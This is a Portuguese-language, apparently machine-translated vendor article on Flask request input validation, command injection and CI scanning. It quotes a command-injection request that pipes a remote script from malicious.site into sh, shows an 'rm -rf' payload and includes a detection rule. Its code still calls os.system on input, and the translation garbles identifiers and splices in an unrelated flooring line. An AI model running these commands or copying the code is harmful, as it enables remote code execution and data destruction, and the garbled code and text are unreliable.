request.get - sanitização de entrada - segurança de frasco

Nunca confie em um request.get() sem higienizar: como a entrada destrói a segurança do Flask

A armadilha está armada: como request.get() abre a porta

Em 2023, uma startup fintech implantou um sistema interno baseado em Flask dashboard que permitia que a equipe de DevOps acionasse tarefas de infraestrutura remotamente. Uma das rotas usava request.args.get(“cmd”) para recuperar um comando shell da string de consulta e passá-lo diretamente para uma chamada de sistema.

Isso parecia seguro sob a suposição de que apenas usuários confiáveis acessavam o sistema interno dashboardNo entanto, devido a um proxy reverso mal configurado, o serviço ficou exposto publicamente por várias horas. Durante esse período, scanners automatizados detectaram o endpoint.

Os invasores exploraram-no rapidamente usando uma solicitação elaborada como ?cmd=curl+http://malicious.site/evil.sh|sh, resultando em execução remota de código (RCE). A partir daí, eles acessaram metadados e credenciais de instâncias da AWS, levando à exfiltração de dados e escalonamento de privilégios.

Este não foi um ataque sofisticado; foi totalmente viabilizado por uma entrada não validada de request.get(). O aplicativo não tinha autenticação e não houve sanitização de entrada. Pior ainda, nenhuma ferramenta de análise estática sinalizou o risco, pois a equipe presumiu que o aplicativo era seguro devido ao seu contexto interno.

Este artigo não trata de como explorar tais falhas. Seu objetivo é ajudar os desenvolvedores a reconhecer esse padrão inseguro, compreender os riscos e adotar práticas de codificação seguras para evitar incidentes semelhantes.

Exploit em ação: um aplicativo Flask quebrado por entrada

Nesta seção, mostramos um aplicativo Flask mínimo que demonstra o quão rápido as coisas podem dar errado quando solicitação.obter() é usado sem validação. A simplicidade deste exemplo ressalta o perigo: mesmo algumas linhas de código inseguro podem expor seu sistema a ameaças graves.

Este ponto final leva um cmd parâmetro da solicitação e o passa diretamente para os.system (), permitindo que qualquer pessoa com acesso ao endpoint execute comandos arbitrários do sistema. Sem verificações de entrada, sem higienização de entrada, sem guardrailsEste é um exemplo clássico de como não lidar com a entrada do usuário.

solicitação.get

Sem validação, os invasores podem explorar isso passando comandos de shell perigosos diretamente na string de consulta. Por exemplo, uma solicitação simples como enrolar 'http://localhost:5000/run?cmd=rm+-rf+/some/dir' poderia limpar diretórios críticos. O comando é executado como está, sem filtragem, dando ao invasor execução remota de código (RCE) capacidades.

O verdadeiro perigo está na forma silenciosa como esta vulnerabilidade passa pelo desenvolvimento pipelines. Como não havia ferramentas de análise estática configurado para detectar padrões inseguros, como não higienizados solicitação.obter(), e como se acreditava que o endpoint era usado apenas internamente, ninguém sinalizou o problema durante a revisão do código. Esse ponto cego comum do DevOps, confiando em ambientes internos e ignorando a validação em prol da velocidade, permitiu que uma vulnerabilidade crítica chegasse à produção sem ser detectada.

Onde tudo quebra: armadilhas comuns de desenvolvimento

Muitas vulnerabilidades graves em aplicações Flask não se originam de lógica complexa, mas sim de erros simples e repetidos. Quando a velocidade de desenvolvimento é priorizada em detrimento da segurança, certos padrões de risco se tornam normalizados, muitas vezes sem que os desenvolvedores percebam suas consequências a longo prazo.

Aqui estão os erros mais comuns:

  • Utilizar painéis de piso ResinDek em sua unidade de self-storage em vez de concreto oferece diversos benefícios: solicitação.obter() sem validação ou valores padrão
    Os desenvolvedores costumam usar solicitação.args.get() para extrair rapidamente parâmetros de uma solicitação. Sem padrões ou validação, isso leva a um comportamento imprevisível, como a passagem nenhum em lógica ou permitindo a entrada bruta do usuário em operações perigosas.
  • Confiando em entradas externas sem verificações
    Se a entrada vem de um formulário público, um gateway de API ou um gateway interno dashboard, deve ser tratado como não confiável. Presumir que é seguro simplesmente porque está protegido por uma VPN ou é usado por equipes internas é um erro de julgamento crítico.
  • Delegar segurança a bibliotecas de terceiros sem verificar o comportamento
    Embora as bibliotecas possam abstrair funcionalidades, não se deve confiar cegamente nelas para garantir a segurança. Sempre entenda como elas lidam com a entrada e envolva o código externo em suas camadas de validação quando necessário.
  • Nenhuma definição de tipo ou validação de entrada em manipuladores de rota
    O Flask permite digitação dinâmica e tratamento flexível de solicitações, mas isso pode levar rapidamente a bugs ou falhas de injeção. Sem a imposição explícita de tipos e a validação de esquemas, entradas inesperadas podem ignorar a lógica ou interromper serviços posteriores.

Esses erros são frequentemente motivados pela pressão para agir rápido, para colocar um recurso em funcionamento ou uma correção implementada. Mas cada atalho compromete a segurança da sua aplicação. A codificação segura deve ser a standard, não uma exceção.

Por que request.get() é arriscado por padrão

Num relance, solicitação.obter(), incluindo suas variantes como solicitação.args.get() e request.form.get(), parece inofensivo e conveniente. Mas por trás dessa simplicidade existe uma suposição perigosa: a de que os dados recebidos são confiáveis.

Essa suposição é falha. Seja criando uma API pública ou uma ferramenta interna, a entrada do cliente deve sempre ser tratada como não confiável. No entanto, em muitas equipes de desenvolvimento, especialmente quando se trabalha com microsserviços ou dashboards, há uma tendência de pular a validação "porque é interna". Essa mentalidade abre a porta para vulnerabilidades críticas.

Por que isso é arriscado

  • Nenhuma imposição de tipo: solicitação.obter() Retorna os dados como estão. Não valida o tipo, o formato ou a presença de campos obrigatórios.
  • Falhas silenciosas: Se uma chave estiver faltando, ele retorna nenhum, muitas vezes levando a comportamentos não intencionais ou erros de lógica posteriormente.
  • Sem filtragem: Ele não remove nem higieniza entradas prejudiciais, deixando seu aplicativo vulnerável a ataques de injeção.

A Ilusão da Segurança Interna

Em ambientes com muitos microsserviços ou ferramentas por trás de VPNs, os desenvolvedores frequentemente confiam nos limites da infraestrutura como sua principal defesa. Isso leva a uma falsa sensação de segurança. Configurações incorretas, credenciais vazadas ou um serviço exposto podem rapidamente transformar "somente interno" em "publicamente explorável". solicitação.obter() não é o problema; confiar cegamente nele é. Sem validação de entrada, você está dando aos invasores uma linha direta para a lógica da sua aplicação e, potencialmente, para a sua infraestrutura.

Proteja o fluxo: validando corretamente a entrada do usuário

A base da segurança do Flask é simples: nunca processe a entrada sem validação estruturada. Cada dado que seu aplicativo recebe, seja de parâmetros de consulta, formulários ou APIs, deve ser tratado como não confiável e rigorosamente validado antes do uso.

O ecossistema do Python oferece diversas bibliotecas maduras adaptadas para validar dados de solicitações:

  • marshmallow – Ótimo para definir esquemas e desserializar dados.
  • pidantico – Conhecido por modelos de tipo seguro; amplamente utilizado no FastAPI, mas também funciona bem no Flask.
  • Formulários WT – Ideal para manipulação e validação de formulários em aplicativos web tradicionais.

Essas ferramentas facilitam a definição e a aplicação da estrutura, dos tipos e das restrições de entrada do usuário.

O que validar

  • Tipos: Certifique-se de que números inteiros sejam números inteiros, strings sejam strings e booleanos sejam booleanos.
  • Intervalos e comprimentos: Defina limites para números e imponha comprimentos mínimos e máximos para strings.
  • campos obrigatórios: Exige explicitamente a presença de determinados parâmetros.
  • padrões: Use expressões regulares para validar formatos esperados, como e-mails, tokens ou nomes de arquivos.

Exemplo com Marshmallow:

python
from marshmallow import Schema, fields, ValidationError

class CommandSchema(Schema):
    cmd = fields.String(required=True)

schema = CommandSchema()

@app.route('/run')
def run():
    try:
        args = schema.load(request.args)
        safe_cmd = sanitize_cmd(args['cmd'])  # whitelist-based sanitation
        os.system(safe_cmd)
    except ValidationError as e:
        return str(e), 400

Decoradores reutilizáveis para código limpo

Você pode criar decoradores para aplicar validação consistentemente em várias rotas:

python
def validate_with(schema):
    def decorator(f):
        def wrapped(*args, **kwargs):
            try:
                validated = schema.load(request.args)
                return f(validated, *args, **kwargs)
            except ValidationError as e:
                return str(e), 400
        return wrapped
    return decorator

ponto de partida

A validação estruturada não é opcional; é essencial. Nunca confie em entradas brutas, mesmo em sistemas internos. Sempre use esquemas, sempre verifique tipos e formatos e sempre higienize o que você processa.

Correções do DevSecOps: Pipeline Security, Deslocar para a esquerda

A segurança não deve começar na produção; ela deve começar no momento em que o código é escrito. Este é o princípio fundamental por trás do “Movimento “Deslocar para a Esquerda”: detectar problemas de segurança no início do ciclo de vida do desenvolvimento, antes mesmo que eles cheguem ao tempo de execução.

Aplique a segurança desde o início Commit

Para detectar efetivamente o uso arriscado de request.get() e padrões semelhantes, integre a segurança diretamente em seu CI/CD pipeline. Veja como:

  • Adicione SAST as regras (Teste de segurança de aplicativo estático) ao seu fluxo de trabalho. Essas regras podem detectar códigos perigosos, como chamadas request.get() não higienizadas passadas para funções do sistema.
  • Automatize verificações usando ferramentas como Bandit, Semgrep ou scripts personalizados. Execute-as como parte do GitHub Actions, GitLab CI ou Bitbucket. Pipelines.
  • Defina políticas personalizadas para sinalizar práticas inseguras, como usar request.args.get() sem validação.

Bloquear fusões que introduzem riscos

Códigos que falham nas verificações de validação não devem ser mesclados. Evitando vulnerabilidades commits de serem mesclados reforça a disciplina de segurança em todas as equipes e ajuda a criar uma cultura de responsabilidade.

jobs:
  secure-check:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v2
      - name: Run Bandit
        run: bandit -r app/ -ll

Ao incorporar análises de segurança automatizadas em seu pipeline, você detecta problemas assim que eles surgem, não depois que eles entram em operação. Isso reduz riscos, economiza tempo e ajuda as equipes a implantar aplicativos Flask com confiança.

Não confie no pacote: risco de terceiros

Embora o bibliotecas de terceiros podem aumentar a produtividade, eles também podem introduzir silenciosamente vulnerabilidades de segurança, especialmente quando se trata de manipulação de entrada.

Riscos reais de embalagens inseguras

Houve casos em que bibliotecas confiáveis realizaram operações inseguras em segundo plano, como ler a entrada do usuário usando request.get() e passá-la diretamente para funções como eval(), open() ou comandos do sistema. Essas falhas costumam ficar ocultas por trás de camadas de abstração, dificultando sua detecção durante a revisão de código.

Por exemplo, um utilitário criado para agilizar o upload de arquivos usava parâmetros de consulta não higienizados para construir caminhos de arquivo, um padrão que convidava à travessia de caminhos e ao acesso não autorizado a arquivos.

Dependências transitivas: a ameaça oculta

Mesmo que suas dependências diretas estejam seguras, dependências transitivas pode não ser. Esses são pacotes dos quais suas bibliotecas dependem e podem trazer consigo comportamentos arriscados sem o seu conhecimento. Uma pequena atualização em uma dependência profunda na sua pilha pode introduzir um uso não sanitizado de request.get() em locais que você não controla. Esse risco se multiplica em microsserviços e ferramentas internas que dependem fortemente de bibliotecas menores e de nicho.

O que fazer?

  • Audite dependências regularmente, incluindo as transitivas.
  • Use ferramentas como pip-audit, Safety ou GitHub Dependabot para verificar vulnerabilidades conhecidas.
  • Revise manualmente como os pacotes externos manipulam a entrada do usuário, especialmente se eles interagem com rotas ou parâmetros de solicitação.

Nunca presuma que um pacote, não importa quão pequeno ou conhecido, reforça sua segurança standards. Sempre valide a entrada de origem externa antes que ela entre na lógica do seu aplicativo.

Higiene do Desenvolvedor: Educação e Cultura DevSecOps

Construir aplicações seguras não envolve apenas ferramentas; trata-se de cultura. As equipes devem internalizar a segurança como parte de sua identidade de desenvolvimento. Isso significa tornar a codificação segura, especialmente a validação de entrada, uma parte inegociável de todo fluxo de trabalho.

Tornar a validação de entrada parte das revisões de código

Toda revisão de código deve perguntar:

  • A entrada do usuário está sendo validada?
  • Existem esquemas ou verificações de tipo em vigor?
  • A entrada bruta é passada para lógica ou comandos?

Incentivar essas verificações durante as revisões por pares promove uma mentalidade em que a segurança é tarefa de todos, não apenas da equipe de segurança.

Definir políticas de codificação seguras para APIs Flask

Estabelecer diretrizes internas que especifiquem:

  • Como lidar com a entrada de solicitação (nunca confie em request.get() sem validação)
  • Quando e como usar bibliotecas como Marshmallow ou Pydantic
  • Requisitos para uso de decoradores e validação de esquema em rotas

Inclua essas políticas em sua integração e documentação.

Ferramentas para detectar padrões inseguros

Use a automação para detectar padrões de risco de forma precoce e consistente:

  • Linters: Ferramentas como flake8, pylint ou ruff podem ser estendidas com plugins para detectar o uso indevido de request.get().
  • Pre-commit hooks: Verifica automaticamente padrões perigosos antes mesmo que o código seja committed.
  • Analisadores estáticos: ferramentas como Bandit, Xygeni ou Semgrep podem sinalizar tratamento de entrada inseguro, validação ausente ou fluxos de dados inseguros.

Construir a Cultura

A segurança não é apenas técnica, é comportamental. Quando a validação é natural, quando as revisões priorizam a segurança e quando as ferramentas a aplicam, standards automaticamente, sua equipe se torna resiliente por natureza.

Xygeni: Como ele previne esses problemas

Xygeni ajuda a fechar essa porta desde o momento em que o código é escrito. É uma plataforma de automação de segurança que detecta padrões perigosos, como o uso não higienizado de request.get(), já na primeira commit.

Detecção Precoce por Design

O Xygeni verifica cada commit e pull request para identificar o uso inseguro de request.get() e antipadrões semelhantes. Ele sinaliza instâncias em que a entrada não é validada antes de ser passada para funções críticas como os.system, eval ou operações de arquivo.

Essa abordagem proativa garante que códigos arriscados nunca cheguem silenciosamente à produção.

Bloquear fusões inseguras automaticamente

Além da detecção, o Xygeni permite que as equipes apliquem políticas que impedem a mesclagem de códigos inseguros. Essas políticas são personalizáveis, permitindo que as organizações definam o que é aceitável e o que não é com base em sua segurança interna do Flask. standards.

padronizar: “solicitação\.args\.obter\(['\”]\w+['\”]\)”

condição: “usado em os\.system ou open() ou exec()”

açao: "bloquear"

Sem costura CI/CD Integração

O Xygeni integra-se facilmente com plataformas como:

Quer você esteja usando CI baseado em nuvem ou auto-hospedado pipelines, o Xygeni se adapta ao seu fluxo de trabalho sem interrupções, aplicando as políticas de segurança do Flask de forma consistente em todos os repositórios.

Ao incorporar verificações de segurança diretamente em seu desenvolvimento pipelineA Xygeni garante que padrões inseguros sejam detectados precocemente, revisados rapidamente e corrigidos antes que causem danos.

Golpe Final: Entrada Limpa ou Comprometimento

É importante enfatizar: este não é um problema de segurança exclusivo do Flask. A questão central é confiar na entrada do usuário, independentemente da estrutura ou do ambiente.

Entradas não validadas são um vetor de ameaça universal; levam à execução remota de código, violações de dados, escalonamento de privilégios e, por fim, à perda de controle sobre seus sistemas. É por isso que a validação deve ser tratada como uma preocupação primordial em todos os processos de desenvolvimento. Valide tudo. Não assuma nada. Higienize sempre.

A validação não é opcional. Não é algo "bom de se ter". É uma parte inegociável do desenvolvimento seguro de software. Deixar de validar a entrada é como deixar a porta da frente aberta em um bairro perigoso; alguém acabará entrando.

Quer você esteja criando APIs para consumo público ou serviços internos por trás de VPNs, as entradas devem ser validadas e higienizadas. Cada parâmetro, cada campo de formulário, cada string de consulta, sempre.

As melhores práticas descritas neste artigo, validação baseada em esquema, análise de código estático, segurança pipelines e higiene cultural são essenciais para a defesa contra o abuso de request.get() e padrões inseguros semelhantes.

sca-tools-software-composição-análise-ferramentas
Priorize, corrija e proteja seus riscos de software
você recebe uma avaliação gratuita de 7 dias da nossa licença Business Edition e pode aproveitar alguns dos recursos avançados da plataforma SecurityScorecard.
Não é necessário cartão de crédito

Proteja seu desenvolvimento e entrega de software

com o Suíte de Produtos da Xygeni